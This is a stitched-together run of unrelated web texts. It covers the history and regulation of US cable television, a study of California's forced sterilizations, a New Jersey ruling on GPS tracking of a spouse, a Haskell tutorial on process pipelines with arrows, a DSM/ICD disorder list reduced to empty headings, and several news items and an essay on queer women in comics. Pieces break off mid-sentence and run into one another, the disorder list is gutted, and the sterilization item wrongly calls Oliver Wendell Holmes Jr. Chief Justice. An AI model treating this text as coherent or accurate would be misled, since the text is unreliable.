In the First Report and Order by the Federal Communications Commission on CATV, the FCC gave itself the power to regulate CATV. This Report and Order was designed to protect television stations in small towns. It did this by imposing two rules, which in slightly altered form still stand: one requires that a CATV system carry all local stations in which the CATV system is in the A (best reception) contour of the station. The second prohibits the importation of programs from a non-local station that duplicates programming on a local station if the duplication is shown either 15 days before or after its local airing. This 1965 report reasoning is as follows: 1) CATV should carry local stations because CATV supplements, not replaces, local stations and the non-carriage of local stations gives distant stations an advantage since people will not change from the cable to the antenna to see a local station; 2) non-carriage is "inherently contrary to the public interest"; 3) CATV duplication of local programming via distant signals is unfair since broadcasters and CATV do not compete for programs on an equal footing; the FCC recommends "a reasonable measure of exclusivity".
The 1966 Second Report and Order made some minor changes in the First Report and Order and added a major regulation. This was designed to protect UHF stations in large cities. The new rule disallowed the importation of distant signals into the top 100 markets, thus making CATV at that time profitable only in cities with poor reception. In 1968 the Supreme Court upheld the FCC's right to make rules and regulations concerning CATV. In its decision on United States v. Southwestern Cable, the "San Diego Case", it said "the Commission's authority over 'all interstate... communications by wire or radio' permits the regulation of CATV systems."
Carriage [ edit ]
Carriage refers to the agreement under which a cable provider rebroadcasts a television channel on its network. The Federal Communications Commission puts various requirements on these agreements, which may include channels cable providers are required to carry, and moderates disputes over the fees and conditions of any particular agreement.
Public-access television [ edit ]
In 1969, the FCC issued rules requiring all CATV systems with over 3,500 subscribers to have facilities for local origination of programming by April 1, 1971; the date was later suspended. In 1972, Dean Burch steered the FCC into a new area of regulation. It lifted its restrictions on CATV in large cities, but now put the burden of more local programming on CATV operators. In 1976, the FCC used its rule-making power to require that new systems now had to have 20 channels, and that cable providers with systems of 3,500 subscribers or more had to provide Public, educational, and government access (PEG) services with facilities and equipment necessary to use this channel capacity.
During the early 1980s, various live local programs with local interests were rapidly being created all over the United States in most major television markets. Before there was public access TV, one of Time Inc.'s pioneering stations was in Columbus, Ohio, where Richard Sillman became the nation's youngest cable television director at age 16.[13]
Programming [ edit ]
Basic cable [ edit ]
Cable television programming is often divided between basic and premium television. Basic cable networks are generally transmitted without any encryption or other scrambling methods and thus anyone connected to the cable television system can receive the basic channel. Basic cable networks receive at least some funding through "per-subscriber fees," fees paid by the cable television systems for the right to include the television network in its channel lineup. Most (though not all) basic cable networks also include advertising to supplement the fees, since their programming costs are not usually covered by per-subscriber fees alone.
The first basic cable network, launched via satellite in 1976, was Ted Turner's superstation WTCG (channel 17) in Atlanta, Georgia (standing for "Turner Communications Group"). Turner had contacted Howard H. Hubbard to set up a cable network from a satellite feed when Turner wanted to watch his Atlanta Braves baseball team from the Hood Yacht Club in Marblehead, Massachusetts.[citation needed] Turner subsequently changed the call sign of channel 17 to WTBS (standing for "Turner Broadcasting System"). During the 1990s, once syndication exclusivity and E/I regulations took effect, the company split the Atlanta broadcast station feed from the satellite-delivered cable channel feed and marketed the channel to cable providers as a "free market superstation"; the free-to-air and cable versions, however, paralleled most of their programming until 2007, when Turner Broadcasting System decided to make TBS cable-exclusive by separating the programming on both feeds and changing the call sign of the channel 17 Atlanta signal to WPCH-TV.
The FCC's definition of a "superstation" is a popular free-to-air television station whose signal has been up-linked to satellite for redistribution by local cable systems outside the station's local and regional coverage area. The practice has since been restricted by the FCC, although seven stations that began superstation coverage prior to the ban (including WPCH) are covered under a grandfather clause.
The second basic cable network, and the first to operate without a license from the FCC, was the CBN Satellite Service, a Christian television service launched by televangelist Pat Robertson in April 1977 as the television ministry of his Christian Broadcasting Network, that was delivered by satellite as a more efficient way to distribute the programming. For years, the CBN Satellite Service (later renamed CBN Cable Network in 1984) mixed religious programming with reruns of classic television series to fill out its 24-hour schedule. The network changed its name to The CBN Family Channel in 1988 (revised to The Family Channel in 1990 once CBN sold it to the indirectly related International Family Entertainment), and was subsequently renamed Fox Family in 1998, then ABC Family after its 2001 sale to ABC parent The Walt Disney Company and finally to its current name, Freeform in 2016.[14]
There are several features of modern cable programming that distinguish it from broadcast television. Because cable television carries more bandwidth than broadcast television (10 to 20 times as many channels), there is channel capacity for more specialty channels catering to particular television market demographics or interests. Also, because cable television networks rely much less, or in some cases not at all, on revenue from television commercials, they can feature programming (such as specialty sports television or programming in foreign languages) that draws much smaller viewer numbers than what broadcast television networks would find acceptable.
Premium cable [ edit ]
The origins of premium cable lie in two areas: early pay television systems of the 1950s and 1960s and early cable (CATV) operators' small efforts to add extra channels to their systems that were not derived from free-to-air signals. In more recent years, premium cable refers to networks – such as Home Box Office (HBO), Cinemax, Showtime, The Movie Channel, Flix, Starz, MoviePlex and Epix – that scramble or encrypt their signals so that only those paying additional monthly fees to their cable system can legally view them (via the use of a converter box). Because their programming is commercial-free (except for promotions in-between shows for the networks' own content), these networks command much higher fees from cable systems. Premium services have the discretion to offer the service unencrypted to a certain number of participating cable providers during a short-term free preview period to allow those who do not receive a premium service to sample its programming, in an effort for subscribers to the participant provider to consider obtaining a subscription to the offered service to continue viewing it following the preview period.
HBO was the first true premium cable (or "pay-cable") network as well as the first television network intended for cable distribution on a regional or national basis; however, there were notable precursors to premium cable in the pay-television industry that operated during the 1950s and 1960s (with a few systems lingering until 1980), as well as some attempts by free-the-air broadcasters during the 1970s and 1980s that ultimately folded as their subscriber bases declined amid viewer shifts to receiving premium television content delivered by cable providers that had begun operating in metropolitan areas throughout that period. In its infancy, following its launch over Service Electric Cable's Wilkes-Barre, Pennsylvania, system on November 8, 1972, HBO had been quietly providing pay programming to CATV systems in Pennsylvania and New York, using microwave technology to transmit its programming to cable and MMDS providers. In 1975, HBO became the first cable network to be delivered nationwide by satellite transmission. Although such conversions are rare, some present-day basic cable channels have originated as premium services, including the Disney Channel (from 1983 to 1997), AMC (from 1984 to 1988) and Bravo (from 1982 to 1994); some of these services eventually switched to an advertiser-supported model after transitioning to an unencrypted structure. Other fledgling premium services (such as early HBO spin-off efforts Take Two and Festival, Home Theater Network and Spotlight) have lasted for a few years, only to fail due to the inability to compete against established premium services that had broader distribution and higher subscriber totals.
Since cable television channels cannot be viewed by those (such as children) without the proper equipment, the Federal Communications Commission's rules regarding acceptable content do not apply to cable-originated networks, allowing greater freedom in the use of profanity, sex and violence; some premium services – such as Cinemax and The Movie Channel (which have carried such programs as part of their late-night schedules) as well as Playboy TV, one of the first adult-oriented premium cable services – have even offered softcore pornography as part of their programming inventory. In contrast, while there are no FCC rules that apply to content on basic cable networks, many basic cable networks self-regulate their program content because of viewer and advertiser expectations, particularly with regard to profane language and nudity.
In recent years though, some basic cable networks have begun to relax their self-imposed restrictions, particularly for programs aired in late night or the waning hours of prime time. Some networks have begun to position themselves as lighter versions of premium services by developing shows that attract such critical acclaim that sponsors will overlook controversial content deemed unsuitable for free-to-air television for solid demographics (such as Comedy Central's South Park and several series aired by FX including, among others, American Horror Story and It's Always Sunny in Philadelphia). Some networks have also carried uncut versions of films that originally received an "R" rating for their theatrical release in the late night hours. With the number of commercial-free basic cable channels dwindling since the 2000s, Turner Classic Movies (TCM) is presently among the only such channels to offer uncensored program content; TCM has also aired uncut prints of theatrical films that have featured nudity, sexual content, violence and profanity, as had the now-ad-supported SundanceTV and IFC, the former of which began as a premium service spun off from Showtime. Commercial-free basic channels have tended to rate their film presentations using the TV Parental Guidelines, instead of the Motion Picture Association of America (MPAA) ratings system.
À la carte cable [ edit ]
Since the early 21st century, some have advocated for laws that would require cable providers to offer their subscribers their own "à la carte" choice of channels.[15] Unlike the standardized subscription packages being offered currently, an à la carte model requires the consumer to subscribe to each channel individually. It is not clear how this might affect subscription costs over all, but it would allow a parent to censor their child's viewing habits by removing any channel they deem objectionable from their subscription. Offering such individualized subscriptions would have been relatively complicated and labor-intensive using analog cable, but the widespread adoption of digital cable & IPTV technologies have now made it more feasible.
Analog technology allowed cable providers to offer standardized subscription packages using low-pass filters and notch filters. A low-pass filter lets lower frequency signals pass while removing higher frequency signals. Using such filtering, the cable provider offered "economy basic" subscriptions (local channels only- these appear at the lowest frequency signals, denoted by the lowest channel numbers) and "basic" subscriptions (local channels plus a handful of national channels with frequencies just higher than the local stations). Notch filters were used to filter out a "notch" of channels from an analog cable signal (for example, channels 45-50 could be "notched" out and the subscriber still receives channels below 45 and above 50). This allowed cable providers to open standardized ranges of premium channels to the subscriber, but notch filtering was not a feasible way to offer each subscriber their own individual choice of channels.
To offer "à la carte" service using an analog signal, a cable provider would most likely have to scramble
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said.
The study describes one sterilization recommendation for a woman admitted to the Sonoma State Home in 1926. She had an IQ of 56, which led a doctor to categorize her as “low moron.” The physician deemed her “sly, profane, obstinate,... dangerous to public health” and recommended that she be sterilized.
Stern and her team do not know which of the people recommended for sterilization actually had the surgery, she said.
California passed the third eugenics law in the U.S. and performed one-third of all the nation’s estimated 60,000 forced sterilizations, the study says. Following a 1927 U.S. Supreme Court decision that upheld the constitutionality of Virginia’s sterilization law, sterilization rates climbed.
Chief Justice Oliver Wendell Holmes Jr. wrote the majority opinion in the case, Buck v. Bell. He compared the state’s duty to sterilize patient Carrie Buck to the need to protect the public against smallpox with compulsory vaccinations.
Holmes concluded: “Three generations of imbeciles are enough.”
Lombardo would like to see California’s surviving sterilization victims financially compensated.
“In the name of doing something that is simply about justice,” he said, “it seems to me the states can afford this.”
SOURCE: http://bit.ly/2fF3K5J American Journal of Public Health, online November 17, 2016.Next year, the Supreme Court will be deciding whether it's okay for law enforcement to put a GPS tracking device on someone's car without a warrant. Some courts say yes and some courts say no. If it's not the po-po tracking you, though, but a spouse who suspects you might be cheating, a New Jersey court says, "Go for it."
A New Jersey woman hired a private investigator to follow her husband to find out whether he was straying. Her husband, Kenneth Villanova, a Gloucester County sheriff’s officer, kept managing to lose the investigator [*insert high speed car chases here*]. So the investigator, Richard Leonard, advised his client to put a tracking device in her husband's car, reports the Star-Ledger. She put it in the glove compartment of their jointly-owned GMC Yukon. Within two weeks, it revealed Villanova's car sitting in the driveway of a woman who was not his wife. Oh, the bittersweet pleasure of catching a partner in the act.
Villanova was not pleased. He sued his wife and Leonard for invasion of privacy. My married colleague Matt Herper has (jokingly) remarked to me before that there is no privacy in marriage. Asked to clarify, Herper says: "There’s no presumption of privacy, or right to it. If invading a spouse’s privacy is an offense, it’s probably a smaller one than expecting to keep very many secrets."
The judges came to the same conclusion, but with slightly different reasoning:
Villanova claimed the tracking device invaded his privacy and caused him ”substantial and permanent emotional distress,” though the appellate judges noted he sought no medical treatment or advice. Appellate Judge [sic] Joseph Lisa, Jack Sabatino and Carmen Alvarez said Villanova had no right to expect privacy because the GPS tracked his movements on public streets. “There is no direct evidence in this record to establish that during the approximately 40 days the GPS was in the... glove compartment the device captured a movement of plaintiff into a secluded location that was not in public view, and, if so, that such information was passed along by Mrs. Villanova to (Leonard),” Lisa wrote. via Judge rules use of GPS to track a cheating spouse is not an invasion of privacy | NJ.com.
In a substantive legal dissection of the opinion on the Law and Technology blog, Venkat Balasubramani expresses surprise that "the court does not discuss the diminished expectation of privacy for the husband vis a vis his wife."
The Star-Ledger says this opens the door for private investigators to use trackers in all kinds of cases: "GPS doesn’t just track cheating spouses. Private investigators use it to keep tabs on the subjects of insurance fraud investigations, background checks and child custody cases."
But a significant part of this case is that Villanova's wife put the tracker in the car, not the private investigator. That means your privacy in the context of strangers tracking you might still be safe -- just not from friends and family. But does that really come as a surprise?Pointfree notation is often the most elegant way to write a function in Haskell. Put simply, any time you write code such as:
foo x = f (g (h x))
Or, if you are a dollar fan:
foo x = f $ g $ h x
You can rewrite it as:
foo = f. g. h
Consider this example of a function composition from Neil Mitchell that finds the mode (most common element) of a list:
mostCommon :: Ord a => [a] -> a mostCommon = head. maximumBy (comparing length). group. sort
A nice composition of four functions. Each function in that pipeline of functions is taking a single input and producing a single output, which is then fed into the next function. This pipeline of pure functions is analogous to a pipeline of communicating processes — each taking a single input and sending on a single output to the next process. So is there an easy way of converting such function pipelines into process pipelines? The answer is yes — by using arrows.
Even if you are a Haskell programmer, you may not be familiar with arrows. They can be used to express these input and output compositions. We can convert our function pipeline to use arrow notation by just changing the composition operator:
mostCommonArr1 :: Ord a => [a] -> a mostCommonArr1 = head <<< maximumBy (comparing length) <<< group <<< sort
This is because by good design/happy accident, a function does not need any special annotation to become part of an arrow. If we want to be more general, we must use the arr function to convert pure functions into arrows:
mostCommonArr2 :: Ord a => [a] -> a mostCommonArr2 = arr head <<< arr (maximumBy (comparing length)) <<< arr group <<< arr sort
A bit more cumbersome perhaps, but we haven’t changed the original too much — the pipeline of the four functions is still visibly there. Now that we have our function pipeline expressed in terms of arrows, changing to a process pipeline is a relatively simple matter. You’ll need to import the Control.Concurrent.CHP.Arrow module, and then re-type the pipeline to be a CHP process with channels, and stick runPipeline on the front:
mostCommonArrProc :: Ord a => Chanin [a] -> Chanout a -> CHP () mostCommonArrProc = runPipeline $ arr head <<< arr (maximumBy (comparing length)) <<< arr group <<< arr sort
And that’s it. The function here is now a communicating pipeline of four functions, wrapped up into one. mostCommonArrProc will sit there waiting to be sent a list of items, and once it has been, it will output the most common element of the list. So we’ve re-used our simple pure-function pipeline as a pipeline of communicating processes, with only a little change in notation.
Note: Since base-4, Arrow has become based on Category, which means you can actually express the function using the original dot composition, like so:
mostCommonCatProc :: Ord a => Chanin [a] -> Chanout a -> CHP () mostCommonCatProc = runPipeline $ arr head. arr (maximumBy (comparing length)). arr group. arr sort
I prefer the <<< notation of the arrows, as I think it better expresses a pipeline of processes — and it doesn’t require base-4.
AdvertisementsThe following is a list of mental disorders as defined by the DSM and ICD.
The Diagnostic and Statistical Manual of Mental Disorders (DSM) is the American Psychiatric Association's standard reference for psychiatry which includes over 450 different definitions of mental disorders.[1] The International Classification of Diseases (ICD) published by the World Health Organization (WHO) is the international standard system for classifying all medical diseases.[2] It also includes a section on mental and behavioral disorders.
The diagnostic criteria and information in the DSM and ICD are revised and updated with each new version. This list contains conditions which are currently recognised as mental disorders as defined by these two systems. There is disagreement in various fields of mental health care, including the field of psychiatry, over the definitions and criteria used to delineate mental disorders. Of concern to some professionals is whether certain mental disorders should be classified as'mental illnesses' or whether they may be better described as neurological disorders, or in other ways.
A [ edit ]
B [ edit ]
C [ edit ]
D [ edit ]
E [ edit ]
F [ edit ]
G [ edit ]
H [ edit ]
I [ edit ]
incest″
K [ edit ]
L [ edit ]
M [ edit ]
N [ edit ]
O [ edit ]
P [ edit ]
R [ edit ]
S [ edit ]
T [ edit ]
U [ edit ]
Undifferentiated Somatoform Disorder (Somatic symptom disorder)
See also [ edit ]
References [ edit ]HOUSTON — A film director scouting for a locale that can double as a war zone could easily settle on the Wimbledon Estates neighborhood.
Destruction has come to define this community in recent days. Massive piles of debris, ruined furniture, floorboards and water-logged drywall are stacked high outside most homes. Families here are among the seemingly endless list of victims of Tropical Storm Harvey.
Rebuilding Wimbledon Estates will be a long, difficult process.
But for a few moments Sunday afternoon, many homeowners — along with friends (both old and new) who have been helping them muck out their damaged homes — enjoyed joyful relief.
President Dieter F. Uchtdorf, second counselor in the First Presidency of The Church of Jesus Christ of Latter-day Saints, made an unexpected visit to their storm-weary neighborhood. He was wearing a yellow Mormon Helping Hands T-shirt over his white dress shirt to blend in with volunteers and cleanup crews.
The church leader didn't call for a meeting or ask people to organize around him in orderly rows. He simply chatted with anyone who stepped forward to say hello. He shared handshakes, gave a few hugs and offered plenty of encouraging words.
President Uchtdorf said he traveled to Houston on Sunday to represent the church's First Presidency and Quorum of the Twelve Apostle, who are concerned for any and all hit hard by Harvey.
Looking out for others, he said, is what Latter-day Saints are doing worldwide.
"We serve God by serving our fellow men," President Uchtdorf said while looking over the Helping Hands work crews cleaning up Wimbledon Estates.
Earlier in the day, he stood in front a large group of Latter-day Saints gathered for a sabbath-day service at the Cypress Texas Stake Center and extended a charge to service-minded people across south Texas: "Let's go out there and do the work."
More than 800 people, many donning Helping Hands T-shirts, were gathered for that meeting in north Houston. Similar meetings were held across Texas prior to church members serving in their own neighborhoods and communities.
President Uchtdorf was joined by Presiding Bishop Gérald Caussé; Elder J. Devn Cornish, of the Seventy; and Elder Daniel W. Jones, an Area Seventy.
President Uchtdorf began his remarks by speaking of the love the First Presidency has for Texas church members.
“We love you and we bless you,” he said, before adding with a smile, “We are not here to get in the way.”
The LDS Church leader spoke of the beauty many members have shown as they have cared for others. A few have served even while floodwaters have damaged their own homes.
“But you turned around and went out and helped others,” he said.
Service, President Uchtdorf added, is the true sign of faith.
He noted that many were wearing Helping Hands T-shirts. But he said, “A helping heart is what is most important.”
President Uchtdorf noted that much of Houston looks normal from the sky. But on the ground, there is much trouble.
“This is true in our spiritual journey,” he said.
President Uchtdorf spoke of his personal love for those who serve. When he was a young boy in war-torn Germany, he was sustained by the love and service of others, he said.
“The world has hope for the future because of the gospel of Jesus Christ,” he said.
President Uchtdorf concluded his remarks with a blessing on all who serve, saying they will be blessed as they bless the lives of others.
In his remarks, Bishop Caussé said the First Presidency was anxious to be with church members in the Houston area as soon as possible after the storm hit. He told the members gathered in the Cypress Texas Stake Center that “many people will be blessed by your efforts.”
Bishop Caussé recited the third verse of his favorite hymn, “Master, the Tempest Is Raging.”
“Master, the terror is over. The elements sweetly rest. Earth’s sun in the calm lake is mirrored, and heaven’s within my breast.”
He acknowledged that these are troubled times and there are many waves in this world, “but we are on the right boat and with the right pilot, even Jesus Christ.”
In his brief remarks, Elder Jones said all who labor on this special Sabbath day “will be highly favored of the Lord.”
Following the sacrament service, President Uchtdorf and the other visiting leaders made stops in key areas of Mormon interest in Houston — including Wimbledon Estates, where several LDS families live.
President Uchtdorf also made a walk through the flood-damaged Houston Texas Temple with the temple president, Marshall Hayes. The waters have receded at the temple site, but evidence of Harvey's destructive power still remain on the temple grounds and throughout the edifice.
The group also visited the temporary logistical center of the Red Cross in Houston. The LDS Church enjoys a well-established partnership with the Red Cross and has donated money and provisions to help deliver relief to folks impacted by Harvey.
"I'm so glad you could come," said Charles Blake, the Red Cross coordinating official for Hurricane Harvey in Texas, welcoming the guests. "I honestly believe the LDS people are the best prepared people in the country. You are feeding the body and feeding the soul."
Sunday was hot and busy for the visitors from church headquarters, but it was time well-spent, said Elder Cornish. The First Presidency, he added, wanted to have a presence in Houston as soon as possible to support and lift the people.
"I'm here in delighted support of what prophets do."
Houston resident Jason Godfrey works as a disaster and relief coordinator in his Mormon stake. Over the past several days, he has dispatched hundreds of volunteer crews to homes in need throughout his city. But listening to the words of President Uchtdorf and the others, he said, offered spiritual repair at a challenging moment.
"No one doubted that the church leaders cared about us, but to have President Uchtdorf here and listen to him express his appreciation for what's going on is very meaningful," he said.Google has just released its ‘best stuff of the year’ on Google Play for 2014 based on the most downloaded content. It is not all that different from Apple’s list.
The Walking Dead, Frozen, and Fancy by Iggy Azalea all placed at the top of the list in their respective categories. However, the app position varied a bit from that of Apple’s list that is an editorial decision while Google focuses on downloads.
Google said top apps, including Duolingo (which made Apple’s list last year), Facebook, MyFitness Pal and Netflix. Google also said that Health and Fitness was the fastest growing app category.
1. Apps
Most Downloaded Apps by Category
Education – Duolingo
Social – Facebook
Health & Fitness – MyFitnessPal
Entertainment – Netflix
Music – Pandora
Sports – NFL Mobile
Photography – Flipagram
Travel – TripAdvisor
The Year’s Fastest Growing App Category
2. Games
Top Downloaded Games
3. Movies & TV
Movie of the Year: Frozen
TV Show of the Year: The Walking Dead
Comeback Movie: Toy Story
4. Music
Album of the Year: Frozen: Original Motion Picture Soundtrack
Song of the Year: Dark Horse by Katy Perry
Song of the Summer: Fancy by Iggy Azalea
5. Newsstand
News Sources of the Year:
Some of the most read articles of 2014:
6. Books
Books of the Year:
Here’s an illustration of above listed apps, games, movies, music, news and books, designed by Google Play.Wright State University’s next president starts her new job on Saturday.
Cheryl Schrader, the first woman to lead WSU, comes to the school from the Missouri University of Science and Technology in Rolla, Missouri.
JOB PERKS: Bonus package revealed for new Wright State president
Schrader has already been on campus for visits and the announcement that she would become the institution’s next leader.
She was also recently at WSU to tour buildings, she tweeted from her presidential Twitter account.
Toured the Creative Arts Center last week and know how excellent and important these facilities are! https://t.co/KEst6277fu — Cheryl B. Schrader (@WrightStatePrez) June 26, 2017
The Dayton Daily News has requested an interview with Schrader upon her arrival and official start as WSU’s seventh president.
Schrader comes to Wright State as the school is at a financial crossroads. Earlier this month, WSU trustees approved more than $30.8 million in budget cuts.
The school projected it would lay off around 57 employees while also eliminating its men’s and women’s swimming and diving teams, though those details are still in flux.
RELATED: New WSU president faced criticism over changes at previous school
Schrader will be tasked with rebuilding Wright State’s reserves as the school spent more money than it brought in every year since 2012. The years of overspending combined to reach around $120 million this year.
Schrader has talked about wanting to bring WSU further onto the national stage.
At Missouri S&T, Schrader was credited with raising enrollment, increasing revenue, boosting minority and women faculty numbers and taming a tough budget situation. Officials have said they hope Schrader can bring the kind of skills she learned in Missouri and use them to boost Wright State.President-elect Donald Trump abruptly abandoned some of his most tendentious campaign promises Tuesday, saying he does not plan to prosecute Hillary Clinton for her use of a private email system or the dealings of her family foundation, has an “open mind” about a climate-change accord from which he vowed to withdraw the United States and is no longer certain that torturing terrorism suspects is a good idea.
The billionaire real estate developer also dismissed any need to disentangle himself from his financial holdings, despite rising questions about how his global business dealings might affect his decision-making as the nation’s chief executive.
“The law’s totally on my side. The president can’t have a conflict of interest,” Trump told editors and reporters of the New York Times during an expansive, hour-long question-and-answer session. “In theory, I could run my business perfectly and then run the country perfectly. There’s never been a case like this.”
Trump further sought to distance himself from a small, far-right movement known for its embrace of racist and anti-Semitic rhetoric that has celebrated Trump’s election.
“I don’t want to energize the group, and I disavow the group,” Trump said of the alt-right.
Attendees of an alt-right conference on Nov. 19 shouted "hail Trump!" The Washington Post's David Weigel explains the connection between the president-elect and the white nationalist group. (Sarah Parnass/The Washington Post)
The president-elect has a record of making statements that are inconsistent with his previous ones, which means it is uncertain whether any of the positions he espoused on Tuesday will hold in the days going forward, much less after he is inaugurated.
[Trump Foundation admits to violating ban on ‘self-dealing,’ new filing to IRS shows]
Some of Trump’s shifts also have the potential to spark a backlash from his most ardent supporters.
In his meeting with the Times, Trump assumed a more cordial, magnanimous posture than he has in recent days. Over the weekend, he used his Twitter account to attack the comedy of “Saturday Night Live” and the cast of the hit Broadway show “Hamilton.” On Monday, he upbraided broadcast news executives and on-air journalists in an off-the-record session that quickly leaked to other media.
His stance on Clinton, the former secretary of state, was a jarring pivot from the presidential campaign, during which he called her “Crooked Hillary” and threatened during one of their debates to put his Democratic opponent in jail. At his rallies and during the Republican convention in Cleveland, Trump’s supporters would regularly chant, “Lock her up!”
But on Tuesday, he said: “I don’t want to hurt the Clintons. I really don’t. She went through a lot and suffered greatly in many different ways.”
Asked whether that meant he had ruled out appointing a special prosecutor, as he had said he would, Trump said: “It’s just not something that I feel very strongly about.”
President-elect Donald Trump's supporters often chanted "lock her up" when he discussed his opponent, Hillary Clinton, at campaign rallies. But despite repeatedly promising to appoint a special prosecutor to investigate her, it looks like Trump might not pursue Clinton after all. (Peter Stevenson/The Washington Post)
[Welcome to Washington’s new normal: One Trump drama after another]
If Trump were to push or try to block a criminal investigation from the Oval Office, it would mark an extraordinary break with political and legal protocol, which holds that the attorney general and FBI make decisions on whether to conduct probes and file charges, free of pressure from the president.
The president-elect’s new position may also have no effect on the plans of other members of his party on Capitol Hill. Rep. Jason Chaffetz (R-Utah,) who is finishing his first term leading the powerful House Oversight and Government Reform Committee, has vowed to continue to investigate Clinton’s email server.
An attorney for Clinton, David Kendall, declined to comment.
Trump also shifted position on climate change, saying he believes there is “some connectivity” between human activity and rising global temperatures.
In 2012, he had brushed off that idea as a Chinese hoax, tweeting: “The concept of global warming was created by and for the Chinese in order to make U.S. manufacturing non-competitive.”
Asked whether he plans to withdraw the United States from the 2015 Paris climate accord, he said he is keeping “an open mind to it.” The deal negotiated by nearly 200 countries last year commits them to a global push to reduce greenhouse gases.
Trump, however, has repeatedly said the agreement is bad for U.S. businesses. In a speech in May, he declared that during his first 100 days in office, “we’re going to cancel the Paris climate agreement and stop all payments of U.S. tax dollars to U.N. global warming programs.”
Trump signaled another shift on the question of how to treat terrorism suspects. During his presidential campaign, he had said that he would reinstate the use of waterboarding and similar interrogation techniques in the questioning of suspected terrorists.
“Don’t tell me it doesn’t work — torture works,” Trump said in February at a retirement community in South Carolina. “Okay, folks? Torture — you know, half these guys [say]: ‘Torture doesn’t work.’ Believe me, it works. Okay?”
But Tuesday he suggested he might have changed his mind after interviewing a leading candidate for secretary of defense, retired Marine Corps Gen. James N. Mattis, who headed the U.S. Central Command.
Mattis argued that he had never found harsh interrogation techniques “to be useful,” Trump said, adding that the retired general preferred building trust with “a pack of cigarettes and a couple of beers.”
“I was very impressed by that answer,’’ Trump said.
Trump spoke extensively about the implications of an unprecedented situation in which a businessman with global holdings will sit in the Oval Office. That prospect has prompted criticism that there will be inevitable conflicts of interest.
His election, Trump acknowledged, has been good for his business, making the name that he emblazons on his properties and markets through his licensing agreements “a hotter brand than it was before.”
As he plans his presidential transition, Trump remains involved in several of his private enterprises.
He held a meeting at Trump Tower with three business partners building a Trump property south of Mumbai. His new hotel in Washington, just blocks from the White House, last week invited about 100 foreign diplomats to hear a sales pitch.
It also raised eyebrows when Trump’s daughter Ivanka, a vice president at the Trump Organization, attended his meeting last week with the Japanese prime minister.
While no statute specifically requires divestment by the president, all of them in modern history have put their assets under independent management, generally through a blind trust.
The concern is to avoid running afoul — in actuality or appearance — of laws against bribery and other forms of corruption in dealings with corporations, foreign entities and powerful interests.
Trump noted that he has turned the management of his businesses over to his children, giving him a requisite distance from the operation, but he protested: “If it were up to some people, I would never, ever see my daughter Ivanka again.”
But his comments fueled more criticism.
“Donald Trump campaigned against a culture of self-enrichment in Washington and pledged to ‘drain the swamp,’ but made clear today that he doesn’t think the rules apply to him,” Democratic National Committee communications director Adam Hodge said in a statement. “He fully intends to use the Oval Office to expand his family’s wealth.”
[Inside the alt-right world of Richard Spencer]
In disavowing the alt-right movement, Trump also came to the defense of his campaign’s chief executive, Stephen K. Bannon, whom he intends to bring into the White House as his chief strategist.
Bannon is on a leave of absence as chairman of the website Breitbart News, a leading voice of the alt-right movement. In a recent interview with the Wall Street Journal, Bannon conceded that the alt-right has “some racial and anti-Semitic overtones,” but he insisted he does not hold those views.
The president-elect defended Bannon. “If I thought he was a racist or alt-right or any of the things, the terms we could use, I wouldn’t even think about hiring him,” Trump said, adding that such accusations are “very hard on” Bannon, “because it’s not him.”
Trump also suggested that he might make his son-in-law Jared Kushner, an observant Jew, a special envoy to work on brokering peace in the Middle East.
Kushner, a publishing and real estate executive with no background in international diplomacy, “would be very good at it,” Trump said. “I would love to be able to be the one that made peace with Israel and the Palestinians.”
Trump also used the session to air his grievances with the campaign coverage of the newspaper, which he frequently refers to as “the failing New York Times.” Shortly before the session, he had announced via Twitter that he was canceling the meeting, but he then reversed himself.
He tempered his criticism with praise, however, and at one point called the Times “a great great American jewel,” according to a tweet by Julie Davis, who covers the White House for the newspaper.
During the session, he also softened his frequent threat to reopen libel laws and use them more aggressively against news outlets that write critical things about him.
His reconsideration, he said, came after he discussed the issue with an associate who told him, “You know, you might be sued a lot more.’ I said, ‘You know, I hadn’t thought of that.’ ”
Shortly after the interview, Trump departed for Palm Beach, Fla., where he plans to take a break from transition planning and spend Thanksgiving at his Mar-a-Lago estate.
However, Trump tweeted that he is closing in on another Cabinet selection: His onetime presidential rival, retired neurosurgeon Ben Carson, as secretary of housing and urban development.
Carson told Fox News: “It certainly is something that has been a long-term interest of mine and I’ll be thinking and praying about it seriously over the holiday.”
Jerry Markon and Elise Viebeck contributed to this report.I am a queer woman in comics.
I work at a comic store. I read over one hundred comics a month. I follow artists and writers on Tumblr. I even have the inevitable comic strip that the world may or may not ever see. Comic books are a part of my life in some way every day.
Yet at the same time, comics are a world in which I’m not always sure I’m welcome. As a child I used to play a game where I would walk around my local comic shop and see how long I could go without seeing an image of a sexualized woman. It was never more than a few seconds. This both thrilled me for reasons my pre-pubescent, still-closeted mind couldn’t comprehend yet and convinced me that comics weren’t for me. These weren’t stories, these were excuses to show barely concealed breasts. I wanted heroes. I wanted better.
Luckily, things have gotten better, at least to a certain extent. Queer women now have an obvious and growing place in comics, both on the page and in the industry. What is that place though? How are we making it and how far do we still have to go? Several queer creators and other women in the comics industry gave me their perspectives on the issue.
Megan Gedris, creator of Yu+Me Dream and Meaty Yogurt, spoke about why she includes queer characters in her stories:
I’m queer. I know a bunch of other queer people. We all have interesting stories that haven’t been told time and time again. I’m a storyteller, doing my best to create interesting characters who aren’t just recycled from worn out archetypes. And then just from a business standpoint, queer people are so itchy to see people like ourselves in stories, so it actually has been a huge boon for my career to create such characters. I’m in the business of making entertaining comics. Including queer characters makes my comics both interesting and appealing to people who want to give me money for it.
For Sophie Campbell, creator of Wet Moon, Shadoweyes, and artist for Jem and the Holograms, her frequent use of queer main characters is more of a blend of a natural choice and a sense of responsibility.
I’ve always had queer characters and I can’t see myself ever having a straight main character, pretty much every character in my creator-owned work is queer and I was doing that long before I was ever thinking about social responsibility, so I think it’s more that I do feel responsibility but it’s more for how the characters are portrayed rather than responsibility to include certain types of characters. I’ve thought about this a lot particularly regarding transgender characters, though, like asking myself if I have a duty to do that specifically because I’m moderately high-profile trans creator. With great power comes great responsibility and all that, haha. I do feel that on some level but I’m also afraid of it because I make mistakes like anyone, and creating trans characters for me is like walking on eggshells because any criticism I might get for how I portray them is too close to home…So I’m still trying to find the line between responsibility and my own personal desires and feelings. In any case, the responsibility thing is something I struggle with all the time.
Of course it’s great when queer women get to write our own stories, but what about the straight, cisgender people (mostly men) who have always run the majority of the industry? What’s their status when it comes to writing queer characters? Is it even a good idea for them to do so? Campbell pointed out that it’s a delicate issue:
